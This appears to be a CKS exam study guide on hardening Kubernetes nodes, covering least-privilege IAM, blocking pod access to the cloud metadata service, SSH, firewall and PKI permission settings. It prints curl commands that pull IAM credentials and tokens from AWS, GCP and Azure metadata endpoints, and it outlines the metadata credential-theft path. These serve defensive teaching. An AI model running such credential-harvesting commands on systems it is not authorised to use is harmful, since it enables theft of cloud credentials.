Minimize IAM Roles and External Access
Overview
Kubernetes nodes exist at the intersection of three security domains: cloud provider IAM, operating system access control, and Kubernetes RBAC. A weakness in any one of these layers can compromise the others. This section covers minimizing the permissions and exposure at each layer -- ensuring nodes have only the cloud permissions they need, OS-level access is tightly controlled, and network exposure is limited to essential ports.
The principle of least privilege applies at every layer: cloud IAM roles attached to nodes, OS user accounts, SSH access, and firewall rules.
CKS Exam Relevance
The CKS exam tests your ability to restrict access to nodes and minimize attack surface. You may be asked to:
- Block access to the cloud metadata API from pods using NetworkPolicies or iptables
- Harden SSH configuration on a node
- Configure firewall rules to allow only required Kubernetes ports
- Verify file permissions on Kubernetes PKI and configuration files
- Restrict which OS users can access the node
While cloud-specific IAM configurations (AWS IRSA, GCP Workload Identity) are unlikely to appear directly, understanding the concepts behind IMDS attacks and least-privilege IAM is expected.
Security Layers Around a Kubernetes Node
IAM Least Privilege for Kubernetes Nodes
Cloud IAM Roles on Node Instances
In cloud environments, every Kubernetes node (EC2 instance, GCE VM, Azure VM) has an IAM identity attached to it. This identity determines what cloud APIs the node can call.
| Cloud Provider | Node IAM Mechanism | Service Account Mechanism |
|---|---|---|
| AWS | EC2 Instance Profile (IAM Role) | IAM Roles for Service Accounts (IRSA) |
| GCP | GCE Service Account | Workload Identity |
| Azure | Managed Identity | Azure AD Workload Identity |
Why Nodes Should Have Minimal IAM Permissions
Kubernetes nodes need cloud IAM permissions for a limited set of operations:
| Operation | Why It's Needed |
|---|---|
| Pull container images from private registry | ECR, GCR, ACR authentication |
| Manage network routes | CNI plugin route configuration |
| Attach/detach storage volumes | Persistent volume provisioning |
| Describe instances | Node registration and discovery |
| Write logs to cloud logging | Centralized log collection |
Overly Permissive Node IAM Roles
If a node has broad IAM permissions (e.g., AdministratorAccess on AWS, Owner on GCP), any pod on that node can potentially access those permissions through the Instance Metadata Service. This means:
- A compromised pod could read secrets from cloud secret managers
- A pod could create/delete cloud resources (VMs, databases, storage)
- A pod could escalate privileges by modifying IAM policies
- A pod could exfiltrate data from cloud storage (S3, GCS, Blob Storage)
Always apply the principle of least privilege to node IAM roles.
The Instance Metadata Service (IMDS) Attack
Every major cloud provider exposes an Instance Metadata Service at a well-known link-local IP address. This service provides instance information and temporary credentials for the attached IAM role.
# AWS -- retrieve IAM credentials from IMDS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# GCP -- retrieve access token from metadata server
curl -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure -- retrieve access token from IMDS
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"IMDS Attack Path
Any pod running on a node can access the metadata service by default, because 169.254.169.254 is routable from within the pod network namespace. This is one of the most common cloud-native attack vectors:
- Attacker compromises a pod (e.g., via application vulnerability)
- Attacker queries
169.254.169.254from inside the pod - Attacker retrieves temporary cloud credentials for the node's IAM role
- Attacker uses those credentials to access cloud resources
Blocking IMDS Access from Pods
Method 1: iptables Rules on the Node
The most direct method is to block traffic to 169.254.169.254 from pod network interfaces at the node level.
# Block all pod traffic to the metadata service
# This rule should be inserted BEFORE any ACCEPT rules in the FORWARD chain
sudo iptables -I FORWARD 1 \
-d 169.254.169.254 \
-j DROP \
-m comment --comment "Block pod access to IMDS"
# Alternatively, block from specific pod CIDR
sudo iptables -I FORWARD 1 \
-s 10.244.0.0/16 \
-d 169.254.169.254 \
-j DROP \
-m comment --comment "Block pod CIDR to IMDS"
# Verify the rule is in place
sudo iptables -L FORWARD -n -v --line-numbers | grep 169.254.169.254
# Make the rule persistent (Debian/Ubuntu)
sudo apt install iptables-persistent
sudo netfilter-persistent saveAWS IMDSv2
AWS supports IMDSv2, which requires a PUT request to obtain a session token before querying metadata. While this mitigates some SSRF-based attacks, it does not prevent a pod with shell access from querying IMDS. Blocking at the network level is still necessary.
# AWS: Enforce IMDSv2 on the instance (requires token-based access)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabledMethod 2: Kubernetes NetworkPolicy
If your CNI plugin supports it, you can block egress to 169.254.169.254 using a NetworkPolicy.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-metadata-access
namespace: default
spec:
podSelector: {} # Apply to ALL pods in namespace
policyTypes:
- Egress
egress:
# Allow all egress EXCEPT metadata service
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32NetworkPolicy Limitation
This approach requires a NetworkPolicy to be applied in every namespace. If you miss a namespace, pods in that namespace can still reach the metadata API. The iptables approach at the node level is more comprehensive.
Method 3: Per-Pod IAM with IRSA / Workload Identity
The best long-term solution is to decouple pod identity from node identity. Instead of pods inheriting the node's IAM role, each pod gets its own scoped credentials.
# AWS: Pod with IAM Role for Service Account (IRSA)
apiVersion: v1
kind: ServiceAccount
metadata:
name: s3-reader
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/S3ReadOnlyRole
---
apiVersion: v1
kind: Pod
metadata:
name: s3-app
namespace: default
spec:
serviceAccountName: s3-reader # Pod uses this SA's IAM role, NOT the node role
containers:
- name: app
image: amazon/aws-cli
command: ["aws", "s3", "ls"]# GCP: Pod with Workload Identity
apiVersion: v1
kind: ServiceAccount
metadata:
name: gcs-reader
namespace: default
annotations:
iam.gke.io/gcp-service-account: gcs-reader@my-project.iam.gserviceaccount.com
---
apiVersion: v1
kind: Pod
metadata:
name: gcs-app
namespace: default
spec:
serviceAccountName: gcs-reader
containers:
- name: app
image: gcr.io/google.com/cloudsdktool/cloud-sdk
command: ["gsutil", "ls"]OS-Level User Access Control
Principle of Least Privilege for Node Users
Kubernetes nodes should have the minimum number of user accounts necessary. Each account should have only the permissions required for its function.
# List all user accounts on the node
cat /etc/passwd | grep -v nologin | grep -v /bin/false
# List accounts with login shells
grep -E '/bin/(bash|sh|zsh)' /etc/passwd
# List users who can use sudo
getent group sudo
# or on RHEL-based systems
getent group wheel
# Check sudoers configuration
sudo cat /etc/sudoers
sudo ls -la /etc/sudoers.d/Restricting SSH Access to Nodes
SSH is the primary remote access method for Kubernetes nodes. It must be carefully hardened.
Disable Direct Root Login
# In /etc/ssh/sshd_config
PermitRootLogin noUse Key-Based Authentication Only
# In /etc/ssh/sshd_config
PasswordAuthentication no
PubkeyAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication noLimit SSH Access to Specific Users
# In /etc/ssh/sshd_config
AllowUsers kubeadmin deploybot
# Or restrict by group
AllowGroups kubernetes-adminsSSH Hardening Settings
# Recommended /etc/ssh/sshd_config settings for Kubernetes nodes
# Authentication limits
MaxAuthTries 3
LoginGraceTime 30
MaxSessions 3
# Disable unused features
X11Forwarding no
AllowAgentForwarding no
AllowTcpForwarding no
PermitTunnel no
# Idle timeout (disconnect after 5 minutes of inactivity)
ClientAliveInterval 300
ClientAliveCountMax 0
# Use only strong algorithms
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
# Logging
LogLevel VERBOSE# Apply SSH configuration changes
sudo sshd -t # Test configuration for syntax errors
sudo systemctl restart sshd # Restart to apply
# Verify active settings
sudo sshd -T | grep -E '(permitrootlogin|passwordauthentication|maxauthtries|logingracetime|allowusers)'Limiting sudo Access
# Only allow specific users to sudo
# /etc/sudoers.d/kubernetes-admins
# Allow kubeadmin full sudo with password
kubeadmin ALL=(ALL) ALL
# Allow deploybot to only restart kubelet (no other commands)
deploybot ALL=(root) NOPASSWD: /usr/bin/systemctl restart kubelet
# Deny sudo for all other users (ensure they are NOT in the sudo/wheel group)# Remove a user from the sudo group
sudo deluser username sudo # Debian/Ubuntu
sudo gpasswd -d username wheel # RHEL/CentOS
# Verify sudo access for a user
sudo -l -U usernameUsing Bastion / Jump Hosts
Kubernetes nodes should never be directly accessible from the internet. All SSH access should go through a bastion (jump) host.
# SSH through a bastion host using ProxyJump
ssh -J bastion-user@bastion.example.com kubeadmin@10.0.1.100
# Or configure in ~/.ssh/config
# Host k8s-node-*
# ProxyJump bastion.example.com
# User kubeadmin
# IdentityFile ~/.ssh/k8s_ed25519
#
# Host bastion.example.com
# User bastion-user
# IdentityFile ~/.ssh/bastion_ed25519Minimizing External Network Access to Nodes
Required Ports for Kubernetes
Kubernetes components communicate over specific ports. Only these ports should be open, and access should be restricted to the minimum set of sources.
Control Plane Node Ports
| Port | Protocol | Component | Purpose | Source |
|---|---|---|---|---|
| 6443 | TCP | kube-apiserver | Kubernetes API | Workers, admins, LB |
| 2379-2380 | TCP | etcd | etcd client and peer | Control plane only |
| 10250 | TCP | kubelet | Kubelet API | Control plane |
| 10259 | TCP | kube-scheduler | Scheduler metrics | localhost |
| 10257 | TCP | kube-controller-manager | Controller manager metrics | localhost |
Worker Node Ports
| Port | Protocol | Component | Purpose | Source |
|---|---|---|---|---|
| 10250 | TCP | kubelet | Kubelet API | Control plane |
| 10256 | TCP | kube-proxy | Health check | localhost |
| 30000-32767 | TCP | NodePort Services | Service exposure | External (if needed) |
Firewall Configuration with iptables
# Flush existing rules (CAUTION: only on initial setup)
# sudo iptables -F
# Allow established connections
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
sudo iptables -A INPUT -i lo -j ACCEPT
# Allow SSH (restrict to bastion IP)
sudo iptables -A INPUT -p tcp --dport 22 -s 10.0.0.5/32 -j ACCEPT
# Allow kubelet API from control plane
sudo iptables -A INPUT -p tcp --dport 10250 -s 10.0.1.0/24 -j ACCEPT
# Allow NodePort range (if needed)
sudo iptables -A INPUT -p tcp --dport 30000:32767 -j ACCEPT
# Drop everything else
sudo iptables -A INPUT -j DROP
# Save rules
sudo netfilter-persistent saveFirewall Configuration for Control Plane Nodes
# Allow API server from anywhere (or restrict to known CIDRs)
sudo iptables -A INPUT -p tcp --dport 6443 -j ACCEPT
# Allow etcd only from other control plane nodes
sudo iptables -A INPUT -p tcp --dport 2379:2380 -s 10.0.1.10/32 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 2379:2380 -s 10.0.1.11/32 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 2379:2380 -s 10.0.1.12/32 -j ACCEPT
# Allow kubelet API from within cluster
sudo iptables -A INPUT -p tcp --dport 10250 -s 10.0.0.0/16 -j ACCEPT
# Allow scheduler and controller-manager only on localhost
sudo iptables -A INPUT -p tcp --dport 10259 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 10257 -s 127.0.0.1 -j ACCEPTFirewall Configuration with ufw
# Enable ufw
sudo ufw enable
# Default deny incoming
sudo ufw default deny incoming
# Allow SSH from bastion only
sudo ufw allow from 10.0.0.5 to any port 22
# Allow Kubernetes API server
sudo ufw allow 6443/tcp
# Allow kubelet
sudo ufw allow from 10.0.1.0/24 to any port 10250
# Allow NodePort range
sudo ufw allow 30000:32767/tcp
# Check status
sudo ufw status verboseService Account Considerations at OS Level
Running kubelet as a Dedicated System User
The kubelet should run as a dedicated system user with only the permissions it needs. On most distributions, kubeadm configures this correctly, but you should verify.
# Check what user kubelet runs as
ps aux | grep kubelet
# Check kubelet service file
systemctl cat kubelet | grep -E '(User|Group)'
# Verify kubelet binary ownership
ls -la /usr/bin/kubeletFile Ownership and Permissions for Kubernetes
Critical Kubernetes files must have restrictive permissions. If an attacker gains access to these files, they can take over the cluster.
# Control plane configuration files
sudo chmod 600 /etc/kubernetes/admin.conf
sudo chmod 600 /etc/kubernetes/scheduler.conf
sudo chmod 600 /etc/kubernetes/controller-manager.conf
sudo chmod 644 /etc/kubernetes/kubelet.conf
# Verify ownership (should be root:root)
sudo chown root:root /etc/kubernetes/*.conf
# Kubernetes PKI directory
sudo chmod 700 /etc/kubernetes/pki
sudo chmod 600 /etc/kubernetes/pki/*.key
sudo chmod 644 /etc/kubernetes/pki/*.crt
# etcd data directory
sudo chmod 700 /var/lib/etcd
sudo chown etcd:etcd /var/lib/etcd
# Check all permissions at once
ls -la /etc/kubernetes/
ls -la /etc/kubernetes/pki/
ls -la /var/lib/etcd/Kubernetes PKI Directory
The /etc/kubernetes/pki directory contains private keys for the API server, etcd, and all cluster certificates. Anyone with read access to these keys can:
- Impersonate the API server to any client
- Decrypt etcd data (including all Secrets)
- Issue certificates for any user or component
- Take full control of the cluster
Always ensure permissions are 700 for the directory and 600 for .key files.
CIS Benchmark Checks for File Permissions
The CIS Kubernetes Benchmark specifies exact permissions for critical files:
| File / Directory | Owner | Permissions |
|---|---|---|
/etc/kubernetes/manifests/ | root:root | 644 or more restrictive |
/etc/kubernetes/admin.conf | root:root | 600 |
/etc/kubernetes/scheduler.conf | root:root | 600 |
/etc/kubernetes/controller-manager.conf | root:root | 600 |
/etc/kubernetes/kubelet.conf | root:root | 600 |
/etc/kubernetes/pki/ | root:root | 700 |
/etc/kubernetes/pki/*.key | root:root | 600 |
/etc/kubernetes/pki/*.crt | root:root | 644 |
/var/lib/etcd/ | etcd:etcd | 700 |
/var/lib/kubelet/config.yaml | root:root | 644 |
# Quick audit script for file permissions
echo "=== Kubernetes Config Files ==="
stat -c '%a %U:%G %n' /etc/kubernetes/*.conf 2>/dev/null
echo "=== PKI Directory ==="
stat -c '%a %U:%G %n' /etc/kubernetes/pki/ 2>/dev/null
stat -c '%a %U:%G %n' /etc/kubernetes/pki/*.key 2>/dev/null
echo "=== etcd Data ==="
stat -c '%a %U:%G %n' /var/lib/etcd/ 2>/dev/null
echo "=== Static Pod Manifests ==="
stat -c '%a %U:%G %n' /etc/kubernetes/manifests/*.yaml 2>/dev/nullRestricting Access to Cloud Metadata API (Detailed)
This section provides a comprehensive set of methods for blocking the cloud metadata API, which is critical for defense in depth.
Understanding the Attack
Defense Layer 1: iptables on Every Node
# Create a script to apply IMDS blocking rules
cat <<'EOF' | sudo tee /usr/local/bin/block-imds.sh
#!/bin/bash
# Block pod access to cloud metadata service
# Run on every Kubernetes node
# Block in FORWARD chain (pod traffic goes through FORWARD)
iptables -C FORWARD -d 169.254.169.254/32 -j DROP 2>/dev/null || \
iptables -I FORWARD 1 -d 169.254.169.254/32 \
-j DROP \
-m comment --comment "Block pod access to cloud IMDS"
# Also block in OUTPUT chain for host-network pods
iptables -C OUTPUT -d 169.254.169.254/32 -m owner --uid-owner 0 -j ACCEPT 2>/dev/null || \
iptables -I OUTPUT 1 -d 169.254.169.254/32 -m owner --uid-owner 0 -j ACCEPT
iptables -C OUTPUT -d 169.254.169.254/32 -j DROP 2>/dev/null || \
iptables -A OUTPUT -d 169.254.169.254/32 \
-j DROP \
-m comment --comment "Block non-root access to IMDS"
echo "IMDS blocking rules applied successfully"
iptables -L FORWARD -n --line-numbers | head -5
EOF
sudo chmod +x /usr/local/bin/block-imds.sh
sudo /usr/local/bin/block-imds.shDefense Layer 2: NetworkPolicy in Every Namespace
# Apply this NetworkPolicy in every namespace to block metadata access
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-cloud-metadata
namespace: default # Repeat for every namespace
spec:
podSelector: {}
policyTypes:
- Egress
egress:
# Allow all egress EXCEPT the metadata IP
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32# Apply to all namespaces at once
for ns in $(kubectl get namespaces -o jsonpath='{.items[*].metadata.name}'); do
cat <<EOF | kubectl apply -f -
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-cloud-metadata
namespace: $ns
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
EOF
doneDefense Layer 3: Use Per-Pod IAM (IRSA / Workload Identity)
When pods need cloud access, use per-pod identity instead of node-level identity:
| Approach | Security | Complexity | Recommendation |
|---|---|---|---|
| Node IAM role (default) | Low -- all pods share one role | None | Avoid for production |
| Block IMDS (iptables/NetworkPolicy) | Medium -- blocks credential theft | Low | Minimum baseline |
| Per-pod IAM (IRSA/Workload Identity) | High -- each pod gets scoped credentials | Medium | Best practice |
| Block IMDS + Per-pod IAM | Highest -- defense in depth | Medium | Recommended |
Verifying IMDS Is Blocked
# Deploy a test pod
kubectl run imds-test --image=curlimages/curl --rm -it --restart=Never -- \
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/
# Expected output: connection timeout or no response
# If you see metadata, IMDS is NOT blocked
# Test from a specific namespace
kubectl run imds-test -n production --image=curlimages/curl --rm -it --restart=Never -- \
curl -s --max-time 3 http://169.254.169.254/latest/meta-data/Hardening Checklist
Node Access Hardening Checklist
Cloud IAM:
- [ ] Node IAM roles have only the minimum required permissions
- [ ] IMDS access is blocked for pods (iptables and/or NetworkPolicy)
- [ ] IMDSv2 is enforced (AWS)
- [ ] Pods that need cloud access use per-pod identity (IRSA/Workload Identity)
SSH & OS Access:
- [ ] Root login disabled (
PermitRootLogin no) - [ ] Password authentication disabled (
PasswordAuthentication no) - [ ] SSH limited to specific users (
AllowUsers) - [ ]
MaxAuthTriesset to 3 or fewer - [ ] SSH idle timeout configured
- [ ] Access via bastion/jump host only
- [ ] Minimum number of user accounts on nodes
- [ ] sudo restricted to authorized users only
Network / Firewall:
- [ ] Only required Kubernetes ports are open
- [ ] etcd ports restricted to control plane nodes only
- [ ] Scheduler and controller-manager metrics on localhost only
- [ ] NodePort range restricted to necessary sources
- [ ] Default deny policy for inbound traffic
File Permissions:
- [ ]
/etc/kubernetes/pki/is700and owned byroot:root - [ ] Private keys (
.key) are600 - [ ]
admin.conf,scheduler.conf,controller-manager.confare600 - [ ]
/var/lib/etcd/is700and owned byetcd:etcd
Quick Reference
Exam Speed Reference
# Block IMDS from pods (iptables)
sudo iptables -I FORWARD 1 -d 169.254.169.254 -j DROP
# Verify IMDS is blocked
kubectl run test --image=curlimages/curl --rm -it --restart=Never -- \
curl -s --max-time 3 http://169.254.169.254/
# Check SSH configuration
sudo sshd -T | grep -E '(permitrootlogin|passwordauthentication|maxauthtries)'
# Harden SSH quickly
sudo sed -i 's/^#*PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config
sudo sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
sudo sed -i 's/^#*MaxAuthTries.*/MaxAuthTries 3/' /etc/ssh/sshd_config
sudo systemctl restart sshd
# Check file permissions
stat -c '%a %U:%G %n' /etc/kubernetes/pki/*.key
stat -c '%a %U:%G %n' /etc/kubernetes/*.conf
# Fix PKI permissions
sudo chmod 700 /etc/kubernetes/pki
sudo chmod 600 /etc/kubernetes/pki/*.key
# List open ports on the node
sudo ss -tlnp
# Check firewall rules
sudo iptables -L -n -v --line-numbersNetworkPolicy to block metadata API:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-cloud-metadata
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32Key Exam Takeaways
- Block the metadata API -- use iptables (
iptables -I FORWARD 1 -d 169.254.169.254 -j DROP) or NetworkPolicy to prevent pods from stealing cloud credentials via169.254.169.254 - Harden SSH -- disable root login, enforce key-based auth, set
MaxAuthTries 3, restrict withAllowUsers - Least privilege IAM -- node IAM roles should only permit what the kubelet and node services need
- Firewall rules -- only open required ports (6443, 10250, 2379-2380, 30000-32767) and restrict source IPs
- File permissions -- PKI keys must be
600, PKI directory700, config files600, all owned byroot:root - Per-pod identity -- use IRSA (AWS) or Workload Identity (GCP) instead of relying on node IAM roles
- Bastion hosts -- nodes should not be directly accessible from the internet; use jump hosts for SSH
- On the exam, you may need to SSH into a node and fix SSH config, iptables rules, or file permissions